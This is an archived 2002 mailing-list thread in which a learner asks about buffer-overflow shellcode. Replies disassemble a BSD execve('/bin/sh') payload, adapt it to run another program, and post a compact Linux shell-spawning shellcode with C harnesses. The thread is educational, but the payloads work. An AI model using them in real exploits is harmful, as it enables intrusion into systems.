All of lore.kernel.org
 help / color / mirror / Atom feed
* shellcode
@ 2002-06-24  5:18 xlp
  2002-06-24  6:01 ` shellcode Scott Lanning
  2002-06-25 19:22 ` shellcode Stephan Walter
  0 siblings, 2 replies; 6+ messages in thread
From: xlp @ 2002-06-24  5:18 UTC (permalink / raw)
  To: linux-assembly

hi, i am reading a doc about buffer overflow, and i have some questions, check
+this c code:
char bsdshell[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
                  "\x62\x69\x6e\x89\xe3\x50\x53\x50\x54\x53"
                  "\xb0\x3b\x50\xcd\x80";
int main() {
        void (*s)()=(void *)bsdshell;
        s();
}
If i run it, it executes a shell. I'd like to know in what does bsdshell
+contain?, What is it? hexadacimal? how can i get that?, acording to the doc,
+it's the execve for /bin/sh.



^ permalink raw reply	[flat|nested] 6+ messages in thread

* Re: shellcode
  2002-06-24  5:18 shellcode xlp
@ 2002-06-24  6:01 ` Scott Lanning
  2002-06-25 19:22 ` shellcode Stephan Walter
  1 sibling, 0 replies; 6+ messages in thread
From: Scott Lanning @ 2002-06-24  6:01 UTC (permalink / raw)
  To: xlp; +Cc: linux-assembly

On Mon, 24 Jun 2002, xlp wrote:
> hi, i am reading a doc about buffer overflow, and i have some questions,
> check this c code:
> char bsdshell[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
>                   "\x62\x69\x6e\x89\xe3\x50\x53\x50\x54\x53"
>                   "\xb0\x3b\x50\xcd\x80";
> int main() {
>         void (*s)()=(void *)bsdshell;
>         s();
> }
> If i run it, it executes a shell. I'd like to know in what does bsdshell
> +contain?, What is it? hexadacimal? how can i get that?, acording to the
> doc, it's the execve for /bin/sh.

Yes, hexadecimal. For example, "\xcd\x80" at the end is "int 0x80".
The numbers are machine code run by the processor.
Here are some more tutorials: http://julianor.tripod.com/bufo.html


^ permalink raw reply	[flat|nested] 6+ messages in thread

* Re: shellcode
  2002-06-24  5:18 shellcode xlp
  2002-06-24  6:01 ` shellcode Scott Lanning
@ 2002-06-25 19:22 ` Stephan Walter
       [not found]   ` <20020625144651.A430@nietzsche>
  1 sibling, 1 reply; 6+ messages in thread
From: Stephan Walter @ 2002-06-25 19:22 UTC (permalink / raw)
  To: linux-assembly

This is my 5-minute analyzing:

$ echo -n \
$'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\
x50\x54\x53\xb0\x3b\x50\xcd\x80' >> shell.asm

$ ndisasm -u shell.asm

00000000  31C0              xor eax,eax
00000002  50                push eax
00000003  682F2F7368        push dword 0x68732f2f   ; "//sh"
00000008  682F62696E        push dword 0x6e69622f   ; "/bin" 
						    ; -> execute /bin/sh
0000000D  89E3              mov ebx,esp   ; ebx points to the string
0000000F  50                push eax      
00000010  53                push ebx
00000011  50                push eax
00000012  54                push esp
00000013  53                push ebx
00000014  B03B              mov al,0x3b   ; 0x3b = SYS_execve
00000016  50                push eax
00000017  CD80              int 0x80      ; system call "execve"
					  ; -> execute the shell


Regards,
Stephan

^ permalink raw reply	[flat|nested] 6+ messages in thread

* Re: shellcode
       [not found]   ` <20020625144651.A430@nietzsche>
@ 2002-06-25 20:28     ` Stephan Walter
       [not found]       ` <20020625161401.B27404@nietzsche>
  0 siblings, 1 reply; 6+ messages in thread
From: Stephan Walter @ 2002-06-25 20:28 UTC (permalink / raw)
  To: linux-assembly

On Tue, 25 Jun 2002 14:46:51 -0500, xlp <xlp@emtel.net.co> wrote:
> Stephan, it's so complicated, i dont get it, what's objdump for?
> if a buffer is char [10], how is the sfp, ret and shellcode length?

objdump? Why would you want to use that? See "man objdump".

Let's have a look at your code:

char bsdshell[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
                  "\x62\x69\x6e\x89\xe3\x50\x53\x50\x54\x53"
                  "\xb0\x3b\x50\xcd\x80";
 int main() {
         void (*s)()=(void *)bsdshell;
         s();
 }

"bsdshell" is an array of char which contains the assembly code. It is 
25 bytes long, but you could make it smaller by optimizing the code.
If you disassemble these bytes, it looks like this:

   xor eax,eax
   push eax
   push dword 0x68732f2f
   push dword 0x6e69622f
   mov ebx,esp
   push eax      
   push ebx
   push eax
   push esp
   push ebx
   mov al,0x3b
   push eax
   int 0x80

The important thing is that it uses "int 0x80" (last line). This
interrupt is used to tell the kernel to do something. In this case, it
is the system call named "execve", which means that the kernel should
execute a program. 

The function "s" is a pointer of type void to bsdshell. On the next line
you execute this "s". It is not a C function, just some lonely bytes in
the memory. But your CPU jumps to this code just as it was a C function,
and now the code listed above gets executed.

What do you mean with sfp and ret? If you mean the ret (return) command,
the answer's short: there is no return. If you type "exit" in the shell,
your program will crash.

I don't know if this answers your questions. Just write to the mailing
list if you have trouble understanding this

Regards,
Stephan

^ permalink raw reply	[flat|nested] 6+ messages in thread

* Re: shellcode
       [not found]       ` <20020625161401.B27404@nietzsche>
@ 2002-06-26 17:08         ` Stephan Walter
  2002-06-26 18:00           ` shellcode Brian Raiter
  0 siblings, 1 reply; 6+ messages in thread
From: Stephan Walter @ 2002-06-26 17:08 UTC (permalink / raw)
  To: linux-assembly

Please write to the list. Others may also be interested in this. (Or
they may be able to give better answers than mine)

On Tue, 25 Jun 2002 16:14:01 -0500, xlp <xlp@emtel.net.co> wrote:

> hi, let's say i dont want to run /bin/sh, i want to run
> /usr/bin/uptime, How can i get all that functions in hexadecimal?

like this (no guarantee, I haven't tested this):

--------------- snip ----
BITS 32
    xor eax,eax
    push eax
    push "time"
    push "//up"
    push "/bin"
    push "/usr"    ; you have to push the program name like this
    mov ebx,esp
    push eax
    push ebx
    push eax
    push esp
    push ebx
    mov al,0x3b
    push eax
    int 0x80
--------------- snap ---
use "nasm -f bin -o test.bin test.asm" to compile it.

I compiled it for you:

0000000 31 c0 50 68 74 69 6d 65 68 2f 2f 75 70 68 2f 62
0000020 69 6e 68 2f 75 73 72 89 e3 50 53 50 54 53 b0 3b
0000040 50 cd 80

of course you'll have to remove the offset adresses and insert the
backslashes.

or use this snippet:
if you want to change the program, just change the 4 lines (read bottom
to top). but make shure that every string is exactly 4 bytes long and
add "\x68" between them.

char bsdshell[] =        "\x31\xc0\x50\x68"
                  "time"
                         "\x68"
                  "//up"
                         "\x68"
                  "/bin"
                         "\x68"
                  "/usr"
                         "\x89\xe3\x50\x53\x50\x54\x53"
                         "\xb0\x3b\x50\xcd\x80";


> why 25 bytes long?
> %cat 1.c ; cc 1.c ; ./a.out
> main(){
>         char bsdshell[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
>                   "\x62\x69\x6e\x89\xe3\x50\x53\x50\x54\x53"
>                   "\xb0\x3b\x50\xcd\x80";
>         printf("%d\n", sizeof(bsdshell));
> }
> 26

that's right, it is 26 bytes long, but the last byte is a zero-byte
("end of string") and isn't used for the code.

^ permalink raw reply	[flat|nested] 6+ messages in thread

* Re: shellcode
  2002-06-26 17:08         ` shellcode Stephan Walter
@ 2002-06-26 18:00           ` Brian Raiter
  0 siblings, 0 replies; 6+ messages in thread
From: Brian Raiter @ 2002-06-26 18:00 UTC (permalink / raw)
  To: linux-assembly

This thread has been about invoking a shell under BSD, which one would
imagine would be a bit off topic for the linux-assembly mailing list.
So, in order to remedy this ...

A few years ago a friend challenged me to come up with the smallest
possible code to invoke a shell under Linux. The only constraint he
placed was that the code had to be position-independent. Rummaging
through some old notes, I dug out the results of my efforts, which was
the following code (NASM syntax):

00000000 6A0B                   push    byte 11
00000002 E809000000             call    $ + 14
00000007 002F62696E2F736800     db      0, '/bin/sh', 0
00000010 5B                     pop     ebx
00000011 58                     pop     eax
00000012 99                     cdq
00000013 43                     inc     ebx
00000014 8D4BF8                 lea     ecx, [byte ebx - 8]
00000017 8919                   mov     [ecx], ebx
00000019 CD80                   int     0x80

Or, as it might appear inside an exploit:

    char sh[] = "j\v\350\t\0\0\0\0/bin/sh\0[X\231C\215K\370\211\031\315\200";
    (*(void(*)(void))sh)();

Note that the program needs to be in writeable memory; thus it needs
to be invoked from a variable and not a direct string literal.

(Unfortunately, it looks like my program is 27 bytes in size, leaving
it slightly longer than the BSD version.)

b

^ permalink raw reply	[flat|nested] 6+ messages in thread

end of thread, other threads:[~2002-06-26 18:00 UTC | newest]

Thread overview: 6+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2002-06-24  5:18 shellcode xlp
2002-06-24  6:01 ` shellcode Scott Lanning
2002-06-25 19:22 ` shellcode Stephan Walter
     [not found]   ` <20020625144651.A430@nietzsche>
2002-06-25 20:28     ` shellcode Stephan Walter
     [not found]       ` <20020625161401.B27404@nietzsche>
2002-06-26 17:08         ` shellcode Stephan Walter
2002-06-26 18:00           ` shellcode Brian Raiter

This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.